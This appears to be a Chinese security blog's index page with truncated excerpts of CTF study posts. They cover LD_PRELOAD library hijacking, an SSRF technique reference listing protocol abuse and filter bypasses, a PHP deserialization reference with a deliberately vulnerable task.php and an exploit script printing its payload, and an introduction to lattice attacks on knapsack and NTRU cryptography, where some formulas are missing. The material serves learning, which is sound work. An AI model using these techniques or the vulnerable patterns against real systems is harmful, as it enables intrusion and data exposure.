环境变量注入&&LD_PRELOAD
LD_PRELOAD劫持
基础知识
环境变量
Linux 系统提供了多种方法来改变动态库连接器装载共享库路径的方法。通过使用此类方法,我们可以实现一些特殊的需求,比如:动态库的调试,改变程序的行为方式。
链接
编译器找到程序中所引用的函数或全局变量所存在的位置
静态链接:在程序运行之前先将各个目标模块以及所需要的库函数连接成一个完整的可执行的程序,之后不再拆开。
装入时动态连接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边连接。
运行时动态连接:源程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行连接。
对于动态连接来说,需要一个动态连接库,其作用在于当动态库中的函数发生变化对于可执行程序来说是透明的,可执行程序无需重新编译,方便程序的发布、维护、更新。但由于程序是在运行时动态加载,这就存在一个问题,假如成语动态加载的函数是恶意的,就有可能导致一些非预期的执行结果或者绕过某些安全设置。
LD_PRELOAD
LD_PRELOAD是允许你定义在程序运行前先加载的动态连接库,那么我们便可以在自己定义的动态连接库中装入恶意函数,假设现在出现了一种这样的情 ...
[SSRF 参考手册]
SSRF介绍
SSRF(Service side request forgery),服务器请求伪造,是一种由攻击者形成服务器端发起的安全漏洞,本质上属于信息泄露漏洞。
攻击目标
从外网无法直接访问的内部系统
形成原因
大部分是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。
例如:从指定URL获取网页文本内容,加载指定地址的图片,百度识图,给出一串url就能识别图片。
攻击方式
借助主机A来发起SSRF攻击,通过主机A像B发起请求,从而获取主机B的一些信息。
漏洞利用
SSRF 信息收集File伪协议
SSRF 信息收集Dict伪协议
SSRF 信息收集HTTP伪造协议
SSRF Gopher伪协议
SSRF 回环地址绕过
SSRF 302重定向
SSRF 命令执行
Web 351
task.php
<?phperror_reporting(0);highlight_file(__FILE__);$url=$_POST['url'];$ch=curl_init($url);curl_setopt($ch, CUR ...
[php反序列化参考手册]
一、简单的反序列化题目
1.P1
task.php
<?phphighlight_file(__FILE__);class NSS { var $name; function __destruct() { if ($this->name === 'ctf') { echo getenv('FLAG'); } }}unserialize($_GET['n']);
exp.php
<?phpclass NSS { var $name='ctf';}$a=new NSS();print(urlencode(serialize($a)));//O%3A3%3A%22NSS%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A3%3A%22ctf%22%3B%7D
2.[SWPUCTF 2021 新生赛]ez_unseria ...
Lattice入门
Lattice
前置知识
NTRU密码
参数
模数:
私钥:
公钥:
临时密钥:r
加密过程
解密过程
再乘上即可得到
背包密码
Lattice Reduction Attack on the Knapsack
对此文章进行简单总结:
背包密码的安全性基于子集和问题,我们可以把这个问题做如下描述:
选定一个长度为的重量集合,
以及一个集合
计算一个
举个栗子:
,,我们可以找到一个符合这个问题的解,因为
经典的背包问题是一个NP完全问题,最常见的背包问题是超递增背包问题,求解起来更加高效。
关于超递增背包的介绍:
集合从小到大排列,并且每个大于他之前的所有参数的和。
,
举个栗子:
,,我们求解这个超递增背包问题时:
对应位置
,对应位置
,对应位置,
,对应位置
,对应位置,
,对应位置,
,对应位置
,对应位置,结束
求得
MerKle and Hellman's 这个算法的核心就是,选定了一个超递增背包的序列,但是经过一系列数学变换,变换后得到的结果看起来像是随机的背包序列。解密的时候再将这个随机背包序列转换成超递增背包,进行简单的解密。
准备过程:
首先确 ...